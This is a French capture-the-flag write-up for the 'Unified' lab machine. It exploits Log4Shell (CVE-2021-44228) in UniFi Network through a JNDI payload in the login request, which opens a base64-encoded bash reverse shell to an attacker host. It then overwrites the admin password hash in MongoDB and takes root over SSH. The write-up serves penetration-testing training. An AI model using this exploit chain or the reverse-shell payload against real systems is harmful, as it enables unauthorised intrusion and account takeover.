Unified
| OS | Difficulty | Target |
|---|---|---|
| Linux | VERY EASY | 10.129.x.x |
Résumé
Machine Linux avec UniFi Network Application vulnérable à Log4Shell (CVE-2021-44228). Exploitation via injection JNDI pour obtenir un shell, puis accès à MongoDB pour modifier les credentials admin. Récupération du mot de passe root dans les paramètres du site UniFi.
Reconnaissance
Scan de ports
nmap -T4 <IP>PORT STATE SERVICE22/tcp open ssh6789/tcp open ibm-db2-admin8080/tcp open http-proxy8443/tcp open https-altScan détaillé
nmap -A -p 22,6789,8080,8443 <IP>| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.2p1 Ubuntu |
| 6789 | UniFi Inform | - |
| 8080 | HTTP | Apache Tomcat (redirige vers 8443) |
| 8443 | HTTPS | UniFi Network |
Enumération
UniFi Network (8443)
Accès à https://<IP>:8443/manage/account/login
Identifier la version du logiciel dans l’interface de connexion.
Recherche de vulnérabilités
UniFi Network < 6.5.54 est vulnérable à Log4Shell (CVE-2021-44228).
Exploitation
Log4Shell (CVE-2021-44228)
La vulnérabilité permet l’exécution de code via injection JNDI dans les champs de connexion.
Installation de rogue-jndi
# Installer Maven (macOS)brew install maven
# Cloner et compilergit clone https://github.com/veracode-research/rogue-jndi.gitcd rogue-jndimvn packageLe JAR compilé se trouve dans target/RogueJndi-1.1.jar.
Génération du payload
echo 'bash -c bash -i >&/dev/tcp/<ATTACKER_IP>/4444 0>&1' | base64Lancement du serveur LDAP malveillant
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,<BASE64_PAYLOAD>}|{base64,-d}|{bash,-i}" --hostname <ATTACKER_IP>Listener
nc -lvn 4444Déclenchement de l’exploit
curl -k -X POST https://<IP>:8443/api/login \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"admin","remember":"${jndi:ldap://<ATTACKER_IP>:1389/o=tomcat}","strict":true}'Interception du callback LDAP visible dans Wireshark/tcpdump sur le port 389.
Vérification du callback LDAP
Les captures Wireshark montrent le callback LDAP de la cible vers l’attaquant (paquet TCP SYN de la cible vers l’attaquant sur le port 389).
Shell obtenu en tant que unifi.
Post-exploitation
Enumération MongoDB
Trouver le port MongoDB :
ps aux | grep mongoConnexion à MongoDB :
mongo --port <PORT>Base de données UniFi
show dbsuse aceshow collectionsEnumération des utilisateurs
db.admin.find().forEach(printjson)Les utilisateurs avec leurs hashes SHA-512 (x_shadow) sont listés.
Modification du mot de passe admin
Générer un nouveau hash :
mkpasswd -m sha-512 <nouveau_password>Mettre à jour dans MongoDB :
db.admin.update({"name":"administrator"},{$set:{"x_shadow":"<NOUVEAU_HASH>"}})Escalade de privilèges
Accès au panel UniFi
Se connecter à https://<IP>:8443 avec les nouveaux credentials.
Récupération du mot de passe root
Dans les paramètres du site UniFi, rechercher les informations de connexion SSH configurées.
Le mot de passe root est stocké en clair dans la configuration.
Connexion SSH
ssh root@<IP>Flags
cat /home/michael/user.txtcat /root/root.txtA retenir
- Log4Shell (CVE-2021-44228) affecte de nombreuses applications Java
- Le protocole JNDI peut être exploité via LDAP pour exécuter du code
- Utiliser tcpdump pour vérifier les callbacks LDAP
- MongoDB UniFi utilise souvent un port non standard
- La base
acecontient les utilisateurs UniFi db.admin.find()pour énumérer,db.admin.update()pour modifier- Les credentials SSH peuvent être stockés dans les configurations d’application
- Référence : CVE-2021-44228